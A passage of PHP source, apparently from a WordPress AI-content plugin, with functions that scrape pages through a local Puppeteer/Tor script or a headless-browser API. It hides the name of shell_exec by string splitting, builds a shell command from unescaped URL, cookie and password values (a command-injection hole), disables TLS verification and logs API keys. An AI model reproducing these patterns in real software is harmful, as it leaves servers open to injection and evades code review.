$aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('shell' . '_exec')) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('shel' . 'l_exec not found!'); } return false; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('shel' . 'l_exec disabled'); } return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(3), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if($timeout != '') { $timeout = 'default'; } if($scripter == '') { $scripter = 'default'; } if($local_storage == '') { $local_storage = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; $puppeteer_comm = 'node '; $puppeteer_comm .= '"' . dirname(__FILE__) . '/res/puppeteer/tor.js" "' . $url . '" ' . $phantomjs_proxcomm . ' "' . $custom_user_agent . '" "' . $custom_cookies . '" "' . $user_pass . '" "' . $phantomjs_timeout . '" "1" "' . $timeout . '" "' . addslashes($scripter) . '" "' . addslashes($local_storage) . '"'; $puppeteer_comm .= ' 2>&1'; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Puppeteer-Tor command: ' . $puppeteer_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($puppeteer_comm); if($cmdResult === NULL || $cmdResult == '') { aiomatic_log_to_file('puppeteer-tor did not return usable info for: ' . $url); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(trim($cmdResult) === 'timeout') { aiomatic_log_to_file('puppeteer timed out while getting page (tor): ' . $url. ' - please increase timeout in Settings'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'Error: Cannot find module \'puppeteer\'') !== false) { aiomatic_log_to_file('puppeteer not found on server: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'sh: node: command not found') !== false || stristr($cmdResult, 'throw err;') !== false) { aiomatic_log_to_file('nodeJS not found, please install it on your server'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'sh: puppeteer: command not found') !== false) { aiomatic_log_to_file('puppeteer not found, please install it on your server (also tor)'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'aiomatic NOT USING TOR!') !== false) { aiomatic_log_to_file('Tor was not able to be used by aiomatic/Puppeteer. Please install Tor on your server!'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'process.on(\'unhandledRejection\', up => { throw up })') !== false) { aiomatic_log_to_file('puppeteer failed to download resource: ' . $url . ' - error: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'Unhandled Rejection, reason: { TimeoutError') !== false) { aiomatic_log_to_file('puppeteer failed to download resource: ' . $url . ' - timeout error: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'res/puppeteer/tor.js:') !== false) { aiomatic_log_to_file('tor failed to run, error: ' . $cmdResult); return false; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { //aiomatic_log_to_file('Downloaded site (Puppeteer): ' . $url . ' -- ' . esc_html($cmdResult)); } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return $cmdResult; } function aiomatic_get_page_PuppeteerAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '', $auto_captcha = '', $enable_adblock = '', $clickelement = '') { if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { aiomatic_log_to_file('You need to add your HeadlessBrowserAPI key in the plugin\'s \'Settings\' before you can use this feature.'); return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(4), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $proxy_url = $aiomatic_Main_Settings['proxy_url']; if(isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $proxy_auth = $aiomatic_Main_Settings['proxy_auth']; } else { $proxy_auth = 'default'; } } else { $proxy_url = 'default'; $proxy_auth = 'default'; } $za_api_url = 'https://headlessbrowserapi.com/apis/scrape/v1/puppeteer?apikey=' . trim($aiomatic_Main_Settings['headlessbrowserapi_key']) . '&url=' . urlencode($url) . '&custom_user_agent=' . urlencode($custom_user_agent) . '&custom_cookies=' . urlencode($custom_cookies) . '&user_pass=' . urlencode($user_pass) . '&timeout=' . urlencode($phantomjs_timeout) . '&proxy_url=' . urlencode($proxy_url) . '&proxy_auth=' . urlencode($proxy_auth); if($timeout != '') { $za_api_url .= '&sleep=' . urlencode($timeout); } if(trim($scripter) != '') { $za_api_url .= '&jsexec=' . urlencode(trim($scripter)); } if(trim($local_storage) != '') { $za_api_url .= '&localstorage=' . urlencode(trim($local_storage)); } $api_timeout = 120; if(trim($auto_captcha) == '1') { $api_timeout += 120; $za_api_url .= '&solvecaptcha=' . trim($auto_captcha); } if(trim($enable_adblock) == '1') { $za_api_url .= '&enableadblock=' . trim($enable_adblock); } if(trim($clickelement) != '') { $za_api_url .= '&clickelement=' . trim($clickelement); } $args = array( 'timeout' => $api_timeout, 'redirection' => 10, 'blocking' => true, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false ); $ret_data = wp_remote_get($za_api_url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); $response_message = wp_remote_retrieve_response_message( $ret_data ); if ( 200 != $response_code ) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to get response from HeadlessBrowserAPI: ' . $za_api_url . ' code: ' . $response_code . ' message: ' . $response_message); if(isset($ret_data->errors['http_request_failed'])) { foreach($ret_data->errors['http_request_failed'] as $errx) { aiomatic_log_to_file('Error message: ' . html_entity_decode($errx)); } } } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } else { $cmdResult = wp_remote_retrieve_body( $ret_data ); } $jcmdResult = json_decode($cmdResult, true); if($jcmdResult === null) { aiomatic_log_to_file('Failed to decode response from HeadlessBrowserAPI (puppeteer): ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } $cmdResult = $jcmdResult; if(isset($cmdResult['apicalls'])) { update_option('headless_calls', esc_html($cmdResult['apicalls'])); } if(isset($cmdResult['error'])) { aiomatic_log_to_file('An error occurred while getting content from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult['error'], true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(!isset($cmdResult['html'])) { aiomatic_log_to_file('Malformed data imported from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return '<html><body>' . $cmdResult['html'] . '</body></html>'; } function aiomatic_get_screenshot_PuppeteerAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '', $h = '0', $w = '1920', $auto_captcha = '', $enable_adblock = '', $clickelement = '') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { aiomatic_log_to_file('You need to add your HeadlessBrowserAPI key in the plugin\'s \'Settings\' before you can use this feature.'); return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(5), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $proxy_url = $aiomatic_Main_Settings['proxy_url']; if(isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $proxy_auth = $aiomatic_Main_Settings['proxy_auth']; } else { $proxy_auth = 'default'; } } else { $proxy_url = 'default'; $proxy_auth = 'default'; } if($h == '') { $h = '0'; } if($w == '') { $w = '1920'; } $za_api_url = 'https://headlessbrowserapi.com/apis/scrape/v1/screenshot?apikey=' . trim($aiomatic_Main_Settings['headlessbrowserapi_key']) . '&url=' . urlencode($url) . '&custom_user_agent=' . urlencode($custom_user_agent) . '&custom_cookies=' . urlencode($custom_cookies) . '&user_pass=' . urlencode($user_pass) . '&timeout=' . urlencode($phantomjs_timeout) . '&proxy_url=' . urlencode($proxy_url) . '&proxy_auth=' . urlencode($proxy_auth) . '&height=' . urlencode($h) . '&width=' . urlencode($w); if(trim($scripter) != '') { $za_api_url .= '&jsexec=' . urlencode(trim($scripter)); } if(trim($local_storage) != '') { $za_api_url .= '&localstorage=' . urlencode(trim($local_storage)); } $api_timeout = 120; if(trim($auto_captcha) == '1') { $api_timeout += 120; $za_api_url .= '&solvecaptcha=' . trim($auto_captcha); } if(trim($enable_adblock) == '1') { $za_api_url .= '&enableadblock=' . trim($enable_adblock); } if(trim($clickelement) != '') { $za_api_url .= '&clickelement=' . trim($clickelement); } $args = array( 'timeout' => $api_timeout, 'redirection' => 10, 'blocking' => true, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false ); $ret_data = wp_remote_get($za_api_url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); $response_message = wp_remote_retrieve_response_message( $ret_data ); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } if ( 200 != $response_code ) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to get response from HeadlessBrowserAPI: ' . $za_api_url . ' code: ' . $response_code . ' message: ' . $response_message); if(isset($ret_data->errors['http_request_failed'])) { foreach($ret_data->errors['http_request_failed'] as $errx) { aiomatic_log_to_file('Error message: ' . html_entity_decode($errx)); } } } return false; } else { $cmdResult = wp_remote_retrieve_body( $ret_data ); } if(isset($cmdResult['apicalls'])) { update_option('headless_calls', esc_html($cmdResult['apicalls'])); } if(strstr($cmdResult, '"error"') !== false) { aiomatic_log_to_file('Failed to decode response from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult, true)); return false; } return $cmdResult; } function aiomatic_get_page_TorAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '', $auto_captcha = '', $enable_adblock = '', $clickelement = '') { if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { aiomatic_log_to_file('You need to add your HeadlessBrowserAPI key in the plugin\'s \'Settings\' before you can use this feature.'); return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(6), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $proxy_url = $aiomatic_Main_Settings['proxy_url']; if(isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $proxy_auth = $aiomatic_Main_Settings['proxy_auth']; } else { $proxy_auth = 'default'; } } else { $proxy_url = 'default'; $proxy_auth = 'default'; } $za_api_url = 'https://headlessbrowserapi.com/apis/scrape/v1/tor?apikey=' . trim($aiomatic_Main_Settings['headlessbrowserapi_key']) . '&url=' . urlencode($url) . '&custom_user_agent=' . urlencode($custom_user_agent) . '&custom_cookies=' . urlencode($custom_cookies) . '&user_pass=' . urlencode($user_pass) . '&timeout=' . urlencode($phantomjs_timeout) . '&proxy_url=' . urlencode($proxy_url) . '&proxy_auth=' . urlencode($proxy_auth); if($timeout != '') { $za_api_url .= '&sleep=' . urlencode($timeout); } if(trim($scripter) != '') { $za_api_url .= '&jsexec=' . urlencode(trim($scripter)); } if(trim($local_storage) != '') { $za_api_url .= '&localstorage=' . urlencode(trim($local_storage)); } $api_timeout = 120; if(trim($auto_captcha) == '1') { $api_timeout += 120; $za_api_url .= '&solvecaptcha=' . trim($auto_captcha); } if(trim($enable_adblock) == '1') { $za_api_url .= '&enableadblock=' . trim($enable_adblock); } if(trim($clickelement) != '') { $za_api_url .= '&clickelement=' . trim($clickelement); } $args = array( 'timeout' => $api_timeout, 'redirection' => 10, 'blocking' => true, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false ); $ret_data = wp_remote_get($za_api_url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); $response_message = wp_remote_retrieve_response_message( $ret_data ); if ( 200 != $response_code ) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to get response from HeadlessBrowserAPI: ' . $za_api_url . ' code: ' . $response_code . ' message: ' . $response_message); if(isset($ret_data->errors['http_request_failed'])) { foreach($ret_data->errors['http_request_failed'] as $errx) { aiomatic_log_to_file('Error message: ' . html_entity_decode($errx)); } } } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } else { $cmdResult = wp_remote_retrieve_body( $ret_data ); } $jcmdResult = json_decode($cmdResult, true); if($jcmdResult === null) { aiomatic_log_to_file('Failed to decode response from HeadlessBrowserAPI (tor): ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } $cmdResult = $jcmdResult; if(isset($cmdResult['apicalls'])) { update_option('headless_calls', esc_html($cmdResult['apicalls'])); } if(isset($cmdResult['error'])) { aiomatic_log_to_file('An error occurred while getting content from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult['error'], true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(!isset($cmdResult['html'])) { aiomatic_log_to_file('Malformed data imported from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return '<html><body>' . $cmdResult['html'] . '</body></html>'; } function aiomatic_get_page_PhantomJSAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '') { if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['headlessbrowserapi_key']) || trim($aiomatic_Main_Settings['headlessbrowserapi_key']) == '') { aiomatic_log_to_file('You need to add your HeadlessBrowserAPI key in the plugin\'s \'Settings\' before you can use this feature.'); return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(7), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = 'default'; } $phantomjs_proxcomm = '"null"'; if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $proxy_url = $aiomatic_Main_Settings['proxy_url']; if(isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $proxy_auth = $aiomatic_Main_Settings['proxy_auth']; } else { $proxy_auth = 'default'; } } else { $proxy_url = 'default'; $proxy_auth = 'default'; } $za_api_url = 'https://headlessbrowserapi.com/apis/scrape/v1/phantomjs?apikey=' . trim($aiomatic_Main_Settings['headlessbrowserapi_key']) . '&url=' . urlencode($url) . '&custom_user_agent=' . urlencode($custom_user_agent) . '&custom_cookies=' . urlencode($custom_cookies) . '&user_pass=' . urlencode($user_pass) . '&timeout=' . urlencode($phantomjs_timeout) . '&proxy_url=' . urlencode($proxy_url) . '&proxy_auth=' . urlencode($proxy_auth); if($timeout != '') { $za_api_url .= '&sleep=' . urlencode($timeout); } if(trim($scripter) != '') { $za_api_url .= '&jsexec=' . urlencode(trim($scripter)); } if(trim($local_storage) != '') { $za_api_url .= '&localstorage=' . urlencode(trim($local_storage)); } $api_timeout = 120; $args = array( 'timeout' => $api_timeout, 'redirection' => 10, 'blocking' => true, 'compress' => false, 'decompress' => true, 'sslverify' => false, 'stream' => false ); $ret_data = wp_remote_get($za_api_url, $args); $response_code = wp_remote_retrieve_response_code( $ret_data ); $response_message = wp_remote_retrieve_response_message( $ret_data ); if ( 200 != $response_code ) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to get response from HeadlessBrowserAPI: ' . $za_api_url . ' code: ' . $response_code . ' message: ' . $response_message); if(isset($ret_data->errors['http_request_failed'])) { foreach($ret_data->errors['http_request_failed'] as $errx) { aiomatic_log_to_file('Error message: ' . html_entity_decode($errx)); } } } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } else { $cmdResult = wp_remote_retrieve_body( $ret_data ); } $jcmdResult = json_decode($cmdResult, true); if($jcmdResult === null) { aiomatic_log_to_file('Failed to decode response from HeadlessBrowserAPI (phantomjs): ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } $cmdResult = $jcmdResult; if(isset($cmdResult['apicalls'])) { update_option('headless_calls', esc_html($cmdResult['apicalls'])); } if(isset($cmdResult['error'])) { aiomatic_log_to_file('An error occurred while getting content from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult['error'], true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(!isset($cmdResult['html'])) { aiomatic_log_to_file('Malformed data imported from HeadlessBrowserAPI: ' . $za_api_url . ' - ' . print_r($cmdResult, true)); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return '<html><body>' . $cmdResult['html'] . '</body></html>'; } function aiomatic_get_page_Puppeteer($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $timeout = '', $request_delay = '', $scripter = '', $local_storage = '') { if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('shell' . '_exec')) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('shel' . 'l_exec not found!'); } return false; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('shel' . 'l_exec disabled'); } return false; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(8), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if($timeout == '') { $timeout = 'default'; } 